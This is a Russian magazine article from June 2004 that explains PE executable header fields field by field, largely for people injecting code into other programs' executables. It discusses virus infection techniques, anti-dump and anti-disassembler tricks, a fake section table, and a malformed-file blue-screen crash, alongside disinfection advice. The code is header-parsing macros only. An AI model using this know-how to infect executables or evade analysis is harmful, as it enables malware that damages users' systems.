различных, никак не связанных друг с другом полях, поэто- робнее см. статью «Борьба с вирусами» в октябрьском но-
му внедрение кода в середину файла еще не обозначает мере журнала «Системного администратора» за 2003 год).
его внедрения в середину страничного имиджа.
Внедряться в конец файла – слишком просто, неинте-
ресно и небезопасно. Внедряться в начало кодовой секции
Описание основных полей
со сбросом оригинального содержимого последнего в овер- PE-файла
лей – слишком сложно. А что, если… попробовать внедрить- Как уже говорилось, полностью описывать PE-файл мы
ся перед началом кодовой секции, передвинув ее начало в не собираемся и предполагаем, что читатели:
область младших адресов? Виртуальный образ окажется ! регулярно штудируют фирменную спецификацию пе-
при этом практически нетронутым и останется лежать по ред сном;
тем же самым адресам, которые занимал до вторжения, ! давным-давно распечатали файл WINNT.h из SDK и
что сохранит файлу работоспособность, попутно лишая раз- обклеили им стены своей хакерской берлоги на манер
работчика внедряемого кода контакта с перемещаемыми обоев.
элементами и прочими служебными структурами данных.
Все это так, за исключением одного досадного «но». Пер- Все нижеприведенные структуры взяты именно отту-
вая секция подавляющего большинства файлов уже начи- да (внимание – зачастую они именуются совсем не так,
нается по наименьшему из всех доступных адресов, и пе- как в спецификации, что вносит в ряды разработчиков
редвигать ее просто некуда. Правда, под NT можно отклю- жуткую путаницу и сумятицу).
чить выравнивание и делать с секциями все что угодно, но Здесь описываются не все, а лишь самые интересные
тогда файл не сможет работать под 9x (подробнее см. и наименее известные поля, свойства и особенности по-
«FileAlignment/SectionAlignment»). То же самое относится и ведения PE-файлов. За остальными – обращайтесь к до-
к уменьшению базового адреса загрузки, компенсируемо- кументации.
го увеличением стартовых адресов всех секций, в резуль-
тате чего положение страничного имиджа не изменяется, а [old-exe] e_magic
мы выигрываем место для внедрения своего собственного Содержит сигнатуру «MZ», доставшуюся в наследство от
кода. Увы! Служебные структуры PE-файлов активно ис- Марка Збиновски – ведущего разработчика MS-DOS и
пользуют RVA-адресацию, отсчитываемую от базового ад- генерального архитектора EXE-формата. Если e_magic
реса загрузки, поэтому просто взять и передвинуть базо- равен «MZ», загрузчик приступает к поиску «PE»-сигна-
вый адрес не получится – необходимо как минимум про- туры, в противном случае его поведение становится нео-
анализировать таблицы экспорта/импорта, таблицу ресур- пределенным. NT и 9x поддерживают недокументирован-
сов и скорректировать все RVA-адреса, а как максимум… ную сигнатуру «ZM», передающую управление на MS-DOS
типичный базовый адрес загрузки для исполняемых фай- заглушку и обычно выводящую на экран «This program
лов – 400000h выбран далеко не случайно. Это минималь- cannot be run in DOS mode», что в данном случае не соот-
ный базовый адрес загрузки в Windows 9x, и если он будет ветствует действительности, поскольку программа запус-
меньше этого числа, системный загрузчик попытается пе- кается из Windows!
реместить файл, потребовав таблицу перемещаемых эле- Один из приемов заражения PE-файлов сводится к
ментов, а у исполняемых файлов она с некоторого време- внедрению в MS-DOS заглушки, динамически восстанав-
ни по умолчанию отсутствует (ну разве что линкер при ком- ливающую сигнатуру «MZ» и делающую себе exec для пе-
поновке специально попросите). С динамическими библио- редачи управления программе-носителю. Для восстанов-
теками ситуация не так плачевна (их базовый адрес заг- ления пораженных объектов просто замените «ZM» на
рузки выбирается с запасом, да и таблица перемещаемых «MZ» и при запуске файла из Windows (включая MS-DOS
элементов, как правило, есть), однако сложность реализа- сессию) вирус больше никогда не получит управления.
ции внедряемого кода просто чудовищна, к тому же нестан- Возможно использовать сигнатуру «NE», передающую
дартный адрес загрузки сразу бросается в глаза. Так что управление на заглушку и устанавливающую значения
ценность этого приема очень сомнительна… сегментных регистров как в com, а не exe (DS == CS). Ни
Тем не менее раздвигать страничный имидж все-таки HIEW, ни IDA с таким файлом работать не могут и сразу
можно! Секция кода практически никогда не обращается к же после его загрузки вылетают в астрал.
секции данных по относительным адресам, а все абсолют-
ные адреса в обязательном порядке должны быть перечис- [old-exe] e_cparhdr
лены в таблице перемещаемых элементов (конечно, при Размер old-exe заголовка в параграфах (1 параграф ра-
условии, что она вообще есть). Остаются лишь RVA/VA- вен 200h байтам). В настоящее время никем не проверя-
адреса служебных структур данных, однако их реально ется (ну разве что дампером каким), однако закладываться
скорректировать и вручную. Расширение страничного имид- на это не стоит. Минимальный размер заголовка состав-

№6(19), июнь 2004 57


программирование
ляет 1 параграф, а максимальный ограничен размером отталкивающийся от того, что если PointerToRelocations,
самой MS-DOS заглушки, т.е. если он будет больше поля PointerToLinenumbers, NumberOfRelocations и NumberOf
e_lfanew, файл может и не загрузиться. Linenumbers равны нулю, а Characteristics – нет, значит, это
секция. Эту святую простоту ничего не стоит обмануть!
[old-exe] e_lfanew На самом деле, проверку следует ужесточить: если оче-
Смещение PE-заголовка в байтах от начала файла. Дол- редная запись в Section Table выглядит как секция (т.е.
жно указывать на первый байт PE-сигнатуры «PE\x0\x0», все поля валидны) – это секция и соответственно наобо-
выровненной по границе двойного слова, причем если сум- рот. Под валидностью здесь понимается, что адрес нача-
ма image base и e_lfanew вылетает за пределы отведен- ла секции выровнен в памяти и лежит непосредственно
ного загрузчиком адресного пространства, такой файл не за концом предыдущей секции, а размер секции не выле-
грузится. тает за пределы страничного имиджа.
В памяти PE-заголовок (вместе со всеми остальными Ниже приведен простой макрос, считывающий содер-
заголовками) всегда располагается перед первой секци- жимое поля NumberOfSection по указателю на первый байт
ей, вплотную прижимаясь к ее передней границе («вплот- PE-заголовка.
ную» – значит, что расстояние между виртуальным адре-
сом первой секции и концом заголовка должно быть мень- Ëèñòèíã 1. Ñ÷èòûâàòåëü ñîäåðæèìîãî NumberOfSection
ше, чем Section Alignment). На диске PE-заголовок может // p – óêàçàòåëü íà PE-çàãîëîâîê
быть расположен в любом месте файла, например, в его се- #define xNumOfSec(p) (*((WORD*) (p+0x6)))
редине или конце (т.е. между началом файла и первым бай-
том PE-заголовка могут обосноваться одна или несколько
секций). Не знаю, сойдет ли какой загрузчик от этого с ума, [image_file_header] PointerToSymbolTable/
но в Windows 9x/NT все работает. При этом SizeOf Header NumberOfSymbols
должно быть равно действительному размеру PE-заголов- Указатель на размер отладочной информации в объектив-
ка плюс e_lfanew; SectionAlignment >= SizeOfHeaders и ных файлах. В настоящее время не используется (да и
FirstSection.RVA >= SizeOfHeaders. раньше он не использовался тоже). Линкеры топчут оба
поля в ноль, отладчики, дизассемблеры и системный заг-
[IMAGE_FILE_HEADER] Machine рузчик игнорируют его. Для предотвращения сброса дам-
Тип центрального процессора, под который скомпилиро- па программы на диск запишите сюда нечто отличное от
ван файл. Если здесь будет что-то отличное от 14Ch, на нуля и подтяните (в памяти) поле NumberOfSection от ре-
I386-машинах файл просто не загрузится. ального значения до безобразия. Текущие версии pe-tools
сдохнут от зависти, но если NEOx сподобится встроить
[IMAGE_FILE_HEADER] NumberOfSections нормальный валидатор, этот трюк перестанет работать.
Количество секций. Файл, не содержащий ни одной сек-
ции, завешивает Windows 9x и корректно прерывает свою [image_file_header] SizeOfOptionalHeader
загрузку под Windows NT. Максимальное количество сек- Размер опционального заголовка, идущего следом за
ций определяется особенностями реализации конкретно- IMAGE_FILE_HEADER. Должен указывать на первый байт
го лоадера. Так, NT переваривает «всего» 60h секций. Section Table (т.е. e_lfanew + 18h + SizeOfOptionalHeader =
Другие загрузчики могут иметь и более жесткие ограни- &Section Table), где 18h – sizeof(IMAGE_FILE_HEADER).
чения. В общем, количество секций должно быть сведено Если это не так, файл не загружается. И хотя некоторые
к минимуму. загрузчики вычисляют указатель на Section Table, оттал-
Если заявленное количество секций меньше числа за- киваясь от NumberOfRvaAndSizes, закладываться на это
писей в Section Table, то остальные секции просто не гру- не стоит, т.к. системные загрузчики этого мнения не раз-
зятся, но в целом такой файл обрабатывается вполне нор- деляют.
мально. Настоящее веселье начинается, когда Numbers
OfSection превышает количество реально существующих Ëèñòèíã 2. Ìàêðîñû, âîçâðàùàþùèå ðàçìåð îïöèîíàëüíîãî çàãî-
ëîâêà, óêàçàòåëü íà òàáëèöó ñåêöèé, âû÷èñëåííûé ñòàíäàðòíûì
секций, вылетая за конец Section Table. Если здесь окажутся è àëüòåðíàòèâíûì ìåòîäàìè.  êà÷åñòâå âõîäíîãî àðãóìåíòà
нули (как чаще всего и бывает), Windows 9x отреагирует âñå òðîå ïðèíèìàþò óêàçàòåëü íà ïåðâûé áàéò PE-çàãîëîâêà
вполне нормально, чего нельзя сказать о Windows NT, на- #define xopt_sz(p) ↵
отрез отказывающейся загружать такой файл. Файл с (*((WORD*)(p + 0x14 /* size of optional header */)))
#define pSectionTable(p) ↵
количеством секций, равным нулю, мертво завешивает ((BYTE*)(xopt_sz(p)+0x18 /* size of image heafer */+p))
Windows 9x, в то время как Windows NT обрабатывает та- #define pSectionTable_alt(p) ↵
((BYTE*)((*((DWORD*)(p+0x74)))*8 + 0x78 + p))
кую ситуацию вполне нормально, выдавая неизменное
«файл не является приложением win32».
Попутно заметим, что многие упаковщики исполняемых [image_file_header] Characteristics
файлов по окончании процесса распаковки искажают это Атрибуты файла. Если (Characteristics & IMAGE_FILE_
поле в памяти либо увеличивая, либо уменьшая его значе- EXECUTABLE_IMAGE) == 0, файл не грузится, т.е. первый,
ние, в результате чего дамперы не могут корректно сбро- считая от нуля, бит характеристик обязательно должен
сить такой образ на диск. В pe-tools/lord-pe используется до- быть установлен. У динамических библиотек должно быть
вольно ненадежный алгоритм, сканирующий Section Table и установлено как минимум два атрибута: IMAGE_

58
программирование
FILE_EXECUTABLE_IMAGE/0002h и IMAGE_FILE_DLL/2000h, владели динозавры и никаких операционных систем еще
то же самое относится и к исполняемым файлам, экспор- не существовало, этим мог похвастать практически каж-
тирующим одну или более функций. Если атрибут дый). Таким образом, возникает неоднозначность: то ли
IMAGE_FILE_DLL установлен, но экспорта нет, исполняе- перемещаемых элементов нет, потому что файл полнос-
мый файл запускаться не будет. тью перемещаем и fixup ему не нужны, то ли они просто
Остальные атрибуты не столь фатальны и под недоступны и перемещать такой файл ни в коем случае
Windows NT/9x безболезненно переносят любые значения, нельзя.
хотя по идее делать этого не должны. Взять хотя бы По умолчанию ms link версии 6.0 и старше внедряет
IMAGE_FILE_BYTES_REVERSED_LO и IMAGE_FILE_BYTES_ перемещаемые элементы только в DLL, а исполняемые
REVERSED_HI, описывающие порядок следования байт файлы сходят с конвейера неперемещаемыми, однако
в слове. Можно глупый вопрос? Какому абстрактному со- рассчитывать на это нельзя и при внедрении собственно-
стоянию процессора соответствует одновременная уста- го кода в чужеродный PE-файл необходимо удостоверить-
новка обоих атрибутов? И какие действия должен пред- ся, что он не содержит перемещаемых элементов, в про-
принять загрузчик, если установленный порядок следо- тивном случае возникают следующие программы:
вания байт будет отличаться от поддерживаемого процес- ! ваш код не может закладываться на image base и дол-
сором? Операционные системы от Microsoft, просто игно- жен быть готов к загрузке по любому адресу;
рируют эти атрибуты за ненадобностью. То же самое от- ! модификация ячеек, относящихся к перемещаемым
носится и к атрибуту IMAGE_FILE_32BIT_MACHINE/0100h, элементам, обычно заканчивается крахом программы,
которым по умолчанию награждаются все 32-разрядные поскольку они автоматически «исправляются» систем-
файлы (16-разрядный PE – это сильно). Впрочем, без край- ным загрузчиком.
ней нужды лучше не экспериментировать и заполнять все
поля правильно. Допустим, в программе был код типа: mov eax, 0400000h
Весьма интересен флаг IMAGE_FILE_DEBUG_STRIPPED/ (B8 00 00 40 00), поверх которого мы начертали: push ebp/
0200h, указывающий на отсутствие отладочной информа- mov ebp, esp (55/8B EC). Допустим также, что в силу не-
ции и запрещающий отладчикам работать с ней даже тог- которых причин базовый адрес загрузки изменился с
да, когда она есть. Отладочная информация привязана к 40.00.00h на 1.00.00.00h. Ячейка памяти, ранее хранящая
абсолютным смещениям, отсчитываем от начала файла непосредственный операнд инструкции mov, будет пере-
и при внедрении в файл чужеродного кода путем его рас- делана в 1.00.00.00h, что превратит команду mov ebp, esp
ширения, отладочная информация перестает соответство- в add [eax], al со всеми вытекающими отсюда последстви-
вать действительности, и поведение отладчиков становит- ями.
ся крайне неадекватным. Для решения проблемы суще- Существует по меньшей мере три пути решения этой
ствует три пути: проблемы:
! скорректировать отладочную информацию (но для это- ! убить fixup (но тогда файл станет неперемещаемым, а
го нужно знать ее формат); ведь некоторые исполняемые файлы подспудно экс-
! отрезать отладочную информацию от файла (но для портируют одну или несколько функций и без fixup не
этого ее надо найти, кроме того, за концом файла мо- смогут работать);
жет быть расположен посторонний оверлей); ! перезаписывать только неперемещаемые ячейки (но
! установить флаг IMAGE_FILE_DEBUG_STRIPPED. это приведет к размазыванию кода по всему файлу,
существенно усложняя его алгоритм);
Последний способ самый простой, но и самый надеж- ! обрабатывать перемещаемые элементы самостоятель-
ный. Соответственно для восстановления пораженных но, чтобы система могла перемещать файл при необ-
объектов необходимо извлечь чужеродный код из тела ходимости, но не корежила наш код, подсуньте ей пус-
файла и сбросить флаг IMAGE_FILE_DEBUG_STRIPPED, тую таблицу перемещаемых элементов (подробнее см.
в противном случае отладчик не покажет исходный код «Перемещаемые элементы»).
отлаживаемого файла.
Иначе ведет себя флаг IMAGE_FILE_RELOCS_STRIPPED, [image_optional_header] Magic
запрещающий перемещать файл, когда релокаций нет. Состояние отображаемого файла. Если здесь будет что-
Когда же они есть, загрузчик может с полным основани- то отличное от 10Bh (сигнатура исполняемого отображе-
ем не обращать на него внимания. Зачем же тогда этот ния), файл не загрузится. PE64-файлам соответствует
атрибут нужен? Ведь переместить файл без таблицы пе- сигнатура 20Bh (все адреса у них 64-разрядные), а в ос-
ремещаемых элементов все равно невозможно… А вот тальном они ведут себя как и нормальные 32-разрядные
это еще как сказать! Служебные структуры PE-файла ис- PE-файлы.
пользуют только относительную адресацию и потому лю-
бой PE-файл от рождения уже перемещаем. Вся загвозд- [image_optional_header] SizeOfCode/
ка в программном коде, активно использующем абсолют- SizeOfInitializedData/SizeOfUninitializedData
ную адресацию (ну так уж устроены современные компи- Суммарный размер секций кода, инициализированных и
ляторы). Технически ничего не стоит создать PE-файл, не неинициализированных данных (т.е. секций, имеющих
содержащий перемещаемых элементов и способный ра- атрибуты IMAGE_SCN_CNT_CODE/20h, IMAGE_SCN_CNT_
ботать по любому адресу (давным-давно, когда землей INITIALIZED_DATA/40h и IMAGE_SCN_CNT_UNINITIALIZED_

№6(19), июнь 2004 59


программирование
DATA/80h), никем не проверяется и может принимать лю- стоятельствах – загрузка/выгрузка dll и создание/уничто-
бые, в том числе и заведомо бессмысленные, значения. жение потока, если точка входа в dll равна нулю, функция
Всякий линкер заполняет эти поля по-своему: одни DllMain не вызывается.
берут физический размер секций на диске, другие – вир- Обязательно учитывайте это при внедрении собственно-
туальный размер в памяти, выровненный по границе го кода в dll! Чтобы отличить dll от обычных файлов, следует
Section Alignment, причем алгоритм определения принад- проанализировать поле характеристик (см. «Characteristics»).
лежности секции к тому или иному типу не стандартизи- Опираться на наличие/отсутствие таблицы экспорта ни в
рован и в полку разработчиков наблюдается большой раз- коем случае нельзя, поскольку экспортировать функции
брод и шатание. Наиболее демократичное сословие оп- могут не только динамические библиотеки, но исполняе-
ределяет «родословную» по принципу OR (т.е. секция с мые файлы! К тому же иногда встречаются динамичес-
атрибутами 60h считается и секцией кода, и секцией дан- кие библиотеки, не экспортирующие ни одной функции.
ных). Иначе действует аристократическая прослойка, при-
держивающаяся принципа XOR и относящая к данным [image_optional_header] ImageBase
только секции с атрибутами 40h (80h?). Для секции кода Базовый адрес загрузки страничного имиджа, измеряемый
сделано некоторое послабление (ведь всякий код на ка- в абсолютных адресах, отсчитываемых от начала сегмен-
ком-то этапе обработки представляется данными) и сек- та или, в терминологии оригинальной спецификации,
ция с атрибутами 60h или A0h все-таки относится к коду preferred address (предпочтительный адрес загрузки). При
(в противном случае образовались бы неклассифицируе- наличии таблицы перемещаемых элементов файл может
мые секции, размер которых не был подсчитан, а этого быть загружен по адресу, отличному от указанного в за-
допускать нельзя – религия не велит). головке. Это происходит в тех случаях, когда требуемый
Как бы там ни было, системному загрузчику на это глу- адрес занят системой, динамической библиотекой или
боко наплевать (давным-давно, когда секции кода, данных загрузчику захотелось что-то подвигать.
и неинициализированных данных помещались в «свои» Если предпочтительный адрес совпадает с адресом
сегменты, эти поля еще имели какой-то смысл, но сейчас уже загруженной системной библиотеки, поведение пос-
это рудиментный пережиток старины). ледней становится неадекватной. Отладчик, интегриро-
ванный в Microsoft Visual Studio, запущенный под управ-
[image_optional_header] BaseOfCode/ лением NT, проскакивает точку входа и умирает где-то в
BaseOfData окрестностях ядра (отлаживамая программа при этом про-
Относительные базовые адреса кодовой секции и секции должает исполняться). Под Windows 98 такие файлы от-
данных. Никем не проверяется и всяким компоновщиком лаживаются вполне нормально, но при выходе из Windows
заполняется по-своему. Для восстановления душевного уводят ее в астрал.
равновесия оба поля можно смело сбросить в ноль, отда- Менять чужой Image Base ни в коем случае нельзя, т.к.
вая дань древним буддийским традициям. перемещаемым элементам в этом случае будет просто не
отчего отталкиваться. И хотя системный загрузчик в боль-
[image_optional_header] AddressOfEntryPoint шинстве случаев загрузит такой файл вполне нормально,
Относительный адрес точки входа, отсчитываемый от на- работать он не сможет, ну во всяком случае до тех пор,
чала Image Base. Может указывать в любую точку адрес- пока все перемещаемые элементы не будут скорректиро-
ного пространства, в том числе и не принадлежащую стра- ваны надлежащим образом.
ничному имиджу (например, направленную на какую-ни-
будь функцию внутри ядра или dll). Для передачи управ- [image_optional_header] FileAlignment/
ления на адреса, лежащие ниже Image Base, можно ис- SectionAlignment
пользовать целочисленное переполнение. Правда, не Кратность выравнивания секций на диске и в памяти.
факт, что все загрузчики поймут нас правильно (NT пой- Очень интересное поле! Официально о кратности вырав-
мет точно, остальные не проверял), так что закладывать- нивания известно лишь то, что она представляет собой
ся на это нельзя. степень двойки, причем:
Если точка входа направлена на заголовок или после- ! Section Alignment должно быть больше или равно
днюю секцию файла, антивирусы начинают обвинять файл 1000h байт;
в зараженности вирусом, поэтому во избежание недора- ! File Alignment должно быть больше или равно
зумений точку входа лучше всего располагать в первой 200h байт;
секции файла, которой по обыкновению является кодо- ! Section Alignment должно быть больше или равно
вая секция .text. File Alignment.
Для exe-файлов точка входа соответствует адресу, с
которого начинается выполнение и не может быть равна Если хотя бы одно из этих условий не соблюдается,
нулю, а для динамических библиотек – функции диспет- файл не будет загружен.
чера, условно называемой нами DllMain, хотя на самом В Windows NT существует недокументированная воз-
деле при компоновке dll с настройками по умолчанию ком- можность отключения выравнивания, основанная на том,
поновщик внедряет стартовый код, перехватывающий на что загрузку прикладных исполняемых файлов/динами-
себя управление и вызывающий «настоящую» DllMain по ческих библиотек и системных драйверов обрабатывает
своему желанию. DllMain вызывается при следующих об- один и тот же загрузчик.

60
программирование
Если Section Alignment == File Alignment, то последнее какая-то часть секции оказалась бы спроецированной на
может принимать любое значение, представляющее со- область памяти, принадлежащей заголовку, а это недо-
бой степень двойки (например, 20h). Условимся называть пустимо, ибо ни на какую страницу файла не может ото-
такие файлы «невыровненными». Хотя этот термин не бражаться более одного сектора одновременно).
вполне корректен, лучшего пока не придумали. Обычно SizeOfHeaders устанавливается на конец Section
К невыровненным файлам предъявляется следующее, Table, однако это не самое лучшее решение. Судите сами.
достаточно жесткое требование – виртуальные и физичес- Совокупный размер всех заголовков при стандартной MS-
кие адреса всех секций обязаны совпадать, т.е. странич- DOS заглушке составляет порядка ~300h байт или даже
ный имидж должен полностью соответствовать своему менее того, в то время как физический адрес первой сек-
дисковому образу. Впрочем, никакое правило не обходится ции – от 400h байт и выше. Отодвинуть секцию назад
без исключений, и виртуальный размер секций может быть нельзя – выравнивание не позволяет (см. «FileAlignment/
меньше их физического размера, но не более чем SectionAlignment»). Правда, если вынуть MS-DOS заглуш-
Section Alignment – 1 байт (т.е. секция все равно будет ку, можно ужать SizeOfHeaders до 200h байт, в аккурат
выровнена в памяти). Самое интересное, что это данное перед началом первой секции, но это уже изврат. Короче
правило рекурсивно, и даже среди исключений встреча- говоря, если следовать рекомендациям от Microsoft,
ются исключения – если физический размер последней ~100h байт мы неизбежно теряем, что не есть хорошо. Вот
секции вылетает за пределы загружаемого файла, опе- некоторые линкеры и размещают здесь таблицу имен, со-
рационная система выбрасывает голубой экран смерти и… держащую перечень загружаемых DLL или что-то типа
погибает (во всяком случае, w2k sp3 ведет себя именно того. Поэтому, чтобы ненароком не нарваться на ковар-
так, остальные не проверял). Полномочия администрато- ный конфликт, лучше всего подтянуть SizeOfHeaders к
ра для этого не требуются и даже самая ничтожная лич- min(pFirstSection->RawOffset, pFirstSection->va).
ность может устроить грандиозный DoS. Некоторые нехорошие программы (вирусы, упаковщи-
Операционные системы семейства Windows 9x не спо- ки, дамперы) устанавливают SizeOfHeader на raw offset
собны обрабатывать невыровненные файлы и с возмуще- первой секции, что неправильно. Между концом всех за-
нием отказывают им в загрузке, выплевывая целых два головков и физическим началом первой секции может
диалоговых окна. Впрочем, ареал обитания Windows 9x быть расположено любое, кратное File Alignment, количе-
неуклонно сокращается, и будущее принадлежит NT. ство байт, например, 1 гигабайт, и это при том, что вирту-
Для создания невыровненных файлов можно восполь- альный адрес первой секции – 1000h. Как такое может
зоваться линкером от Microsoft, задав ему ключ /ALIGN:32 быть? А очень просто – SizeOfHeaders <= 1000h и остаток
совместно с ключом /DRIVER. Без ключа /DRIVER ключ нашего гигабайта не читается и не проецируется в память,
/ALIGN будет проигнорирован и линкер использует крат- поэтому никаких конфликтов и не возникает. Что может
ность выравнивания по умолчанию. быть в этом гигабайте? Ну, например, хитрый оверлей,
внедренный тем же вирусом (и такие вирусы уже есть).
Ëèñòèíã 3. Ìàêðîñû äëÿ âûðàâíèâàíèÿ ñ îêðóãëåíèåì «âíèç» è «ââåðõ»

#define Is2power(x) (!(x & (x-1))) [image_optional_header] CheckSum


#define ALIGN_DOWN(x, align) (x & ~(align-1)) Контрольная сумма файла. Проверяется только NT, да и
#define ALIGN_UP(x, align) ↵
((x & (align-1))?ALIGN_DOWN(x,align)+align:x) то лишь при загрузке некоторых системных библиотек и,
разумеется, самого ядра. Алгоритм расчета можно найти
в IMAGEHEL.DLL функция CheckSumMappedFile. По слу-
[image_optional_header] SizeOfImage хам, ее исходные тексты входят в SDK. У меня есть SDK,
Размер страничного имиджа, выровненный на величину но ничего подобного я там не видел (может, плохо искал?).
Section Alignment. Размер страничного имиджа всегда ра- Впрочем, алгоритм расчета тривиален и декомпилирует-
вен виртуальному адресу последней секции плюс ее раз- ся на ура.
мер (выровненный, виртуальный). Если размер страничного
образа вычислен неправильно, файл не загружается. [image_optional_header] Subsystem
Требуемая подсистема, которую операционная система
Ëèñòèíã 4. Ìàêðîñ äëÿ âû÷èñëåíèÿ ðåàëüíîãî ðàçìåðà ñòðàíè÷- должна предоставить файлу. Может принимать следую-
íîãî èìèäæà щие значения:
#define xImageSize(p) (*(DWORD*)(pLastSection(p) + 0xC ↵
/* va */) + ALIGN_UP(*(DWORD*)(pLastSection(p) + 0x8 ↵ 00h IMAGE_SUBSYSTEM_UNKNOWN:
/* v_sz */), xObjectAlign(p)))
Неизвестная подсистема, файл не загружается.

[image_optional_header] SizeOfHeaders n01h IMAGE_SUBSYSTEM_NATIVE:


Суммарный размер всех заголовков, сообщающий загруз- Подсистема не требуется, файл исполняется в «родном»
чику, сколько байт читать от начала файла. С этим полем окружении ядра и скорее всего представляет собой драй-
связано два ограничения: во-первых, SizeOfHeaders дол- вер устройства. Обычным путем не загружается, если вы
жен быть выбран так, чтобы загрузчик считал все, что ему пишете вирус/упаковщик/протектор, ни в коем случае не
необходимо прочитать, а во-вторых, он не может превы- обрабатывайте таких файлов, если только точно не увере-
шать RVA первой секции (поскольку в противном случае ны, в том, что вы делаете. Внимание: при загрузке драйве-

№6(19), июнь 2004 61


программирование
ров Windows игнорирует поле подсистемы и оно может быть раз, 2000h – загружать драйвер как WDM драйвер; 8000h –
любым, поэтому, если Subsystem != IMAGE_SUBSYSTEM_ файл поддерживает работу под терминальным сервером.
NATIVE это еще не значит, что данный файл не является Экспериментальная проверка показала, что W2K игнори-
драйвером. рует эти флаги.

02h IMAGE_SUBSYSTEM_WINDOWS_GUI: [image_optional_header] SizeOfStackReserve/


Графическая win32 подсистема. Операционная система SizeOfStackCommit, SizeOfHeapReserve/
загружает файл нормальным образом, ну а дальше пусть SizeOfHeapCommit
все, что ему нужно, добываем сам. Объем зарезервированной/выделенной памяти под стек/
кучу в байтах. Если SizeOfCommit > SizeOfReverse файл
03h IMAGE_SUBSYSTEM_WINDOWS_CUI: не загружается. Ноль обозначает значение по умолчанию.
Терминальная (она же консольная) win32 подсистема. То
же самое, что и IMAGE_SUBSYSTEM_WINDOWS_GUI, но [image_optional_header]
в этом случае файлу на халяву достается автоматически NumberOfRvaAndSizes
создаваемая консоль с готовыми дескрипторами ввода/ Количество элементов (не байт) в DATA_DIRECTORY, сле-
вывода. Вообще говоря, разница между консольными и дующей непосредственно за этим полем. Из-за грубых
графическими приложениями очень условна – консольные ошибок в системном загрузчике компоновщики от Borland
приложения могут вызывать GUI32/USER32-функции, а и Microsoft всегда выставляют полный размер директо-
графические приложения – открывать одну или несколь- рии, равный 10h, даже если реально его не используют.
ко консолей (например, в отладочных целях). Кстати го- Например, Windows 9x не проверяет, что NumberOfRva
воря, с этим связана одна забавная проблема, с которой AndSizes >= RELOCATION и/или RESOURCE и если под-
сталкиваются многие «программисты», пытающиеся по- сунуть ему запрос к одной из этих секций, а таких дирек-
давить создание ненужного им окна (ну мало ли, может торий нет – это конец. Windows NT не проверяет (при заг-
они шпиона какого пишут, а это окно его демаскирует). рузке dll) «достаточности» TLS_DIRECTORY и если этот
Предотвратить автоматическое создание окна очень про- TLS-механизм активирован, а TLS-директории нет – опять
сто – достаточно… не создавать его! кранты.
Компоновщик Юрия Харона выгодно отличается тем,
05h IMAGE_SUBSYSTEM_OS2_CUI: что усекает размер директории до минимума, но и кода
Подсистема OS/2. Только для приложений OS/2 (одним из вокруг процедуры «сокращений» там строк пятьсот, а уж
которых, кстати говоря, является всем известный HIEW) сколько времени было убито в ИДЕ…
и только для Windows NT. Windows 9x не может обраба- Есть и другая проблема. По спецификации DATA_DIREC-
тывать такие файлы. TORY располагается в самом конце опционального заго-
ловка и непосредственно за его концом начинается таб-
07h IMAGE_SUBSYSTEM_POSIX_CUI: лица секций. Таким образом, указатель на таблицу сек-
Подсистема POSIX. Только для приложений UNIX и толь- ций может быть получен либо так:
ко для Windows NT.
((BYTE*) ((*((WORD*)(p + 0x14 /* size of optional ↵
header */)))+ 0x18 /* size of image header */ + p))
09h IMAGE_SUBSYSTEM_WINDOWS_CE_GUI:
Файл предназначен для исполнения в среде Windows CE. либо так:
Ни Windows NT, ни Windows 9x не могут обрабатывать
такие файлы. ((BYTE*) ( (*((DWORD*)(p+0x74 /* NumRVAandSize */)))* ↵
8 + 0x78 /* begin DATA_DIRECTOTY */+ p))

0Ah MAGE_SUBSYSTEM_EFI_APPLICATION:, Системный загрузчик использует первый способ и до-


0Bh IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER:, пускает, что между DATA_DIRECTORY и SECTION_TABLE
0Ch IMAGE_ SUBSYSTEM_EFI_RUNTIME_DRIVER: может быть расположено некоторое количество «бесхоз-
Подсистема EFI (Extensible Firmware Initiative). ных» байт. Некоторые дизассемблеры и упаковщики счи-
тают иначе и ищут SECTION_TABLE непосредственно за
[image_optional_header] DllCharacteristics концом DATA_DIRECTORY. Вот и давайте подсунем им
Очень странное поле. Мэтт Питрек пишет, что оно опре- подложную SECTION_TABLE! Пускай их авторы почаще
деляет набор флагов, указывающих, при каких условиях заглядывают в WINNT.H, который недвусмысленно гово-
точка входа в DLL получает управление (как то, загрузка рит, что:
dll в адресное пространство процесса, создание/заверше-
ние нового потока и выгрузка dll из памяти). В специфи- #define IMAGE_FIRST_SECTION( ntheader ) ((PIMAGE_SECTION_HEADER) ↵
((ULONG_PTR)ntheader + ↵
кации на PE-формат эти поля помечены как зарезерви- FIELD_OFFSET( IMAGE_NT_HEADERS, OptionalHeader ) + ↵
рованные и Windows игнорирует их значение, поэтому у ((PIMAGE_NT_HEADERS)(ntheader))-> ↵
FileHeader.SizeOfOptionalHeader ↵
большинства файлов оно равно нулю. ))
Согласно спецификации 6.0 от 1999 года (самой све-
жей спецификации на сегодняшний день), загрузчик дол- …так что лезть дизассемблером в системный загрузчик
жен поддерживать и другие флаги: 800h – не биндить об- совсем необязательно!

62
программирование
DATA DIRECTORY ми и дебеггерами. Использует RVA- и RAW OFFSET-ад-
ресацию. Системный загрузчик ее игнорирует.
00h IMAGE_DIRECTORY_ENTRY_EXPORT:
Указатель на таблицу экспортируемых функций и данных 07h IMAGE_DIRECTORY_ENTRY_ARCHITECTURE:
(далее по тексту просто функций). Встречается преиму- Он же «description». На I386-платформе, судя по всему, пред-
щественно в динамических библиотеках и драйверах, од- назначен для хранения информации о копирайтах (на это, в
нако заниматься экспортом товаров может и рядовой ис- частности, указывает определение IMAGE_DIRECTORY_
полняемый файл. Использует RVA- и VA-адресацию (под- ENTRY_COPYRIGHT, данное в WINNT.H), за формирование
робнее см. «Экспорт»). которых отвечает ключ –D, переданный Багдадскому линке-
ру ilinlk32.exe, при этом в IMAGE_DIRECTORY_ENTRY_
01h IMAGE_DIRECTORY_ENTRY_IMPORT: ARCHITECTURE помещается RVA-указатель на строку
Указатель на таблицу импортируемых функций, исполь- комментариев, по умолчанию располагающуюся в секции
зуемую для связи файла с внешним миром, и активируе- .text. Компоновщик ms link при некоторых до конца не вы-
мую системным загрузчиком, когда все остальные меха- ясненных обстоятельствах помещает в это поле инфор-
низмы импорта недоступны. Использует RVA- и VA-адре- мацию об архитектуре, однако системный загрузчик ее
са (подробнее см. «Импорт»). никогда не использует.

02h IMAGE_DIRECTORY_ENTRY_RESOURCE: 08h IMAGE_DIRECTORY_ENTRY_GLOBALPTR:


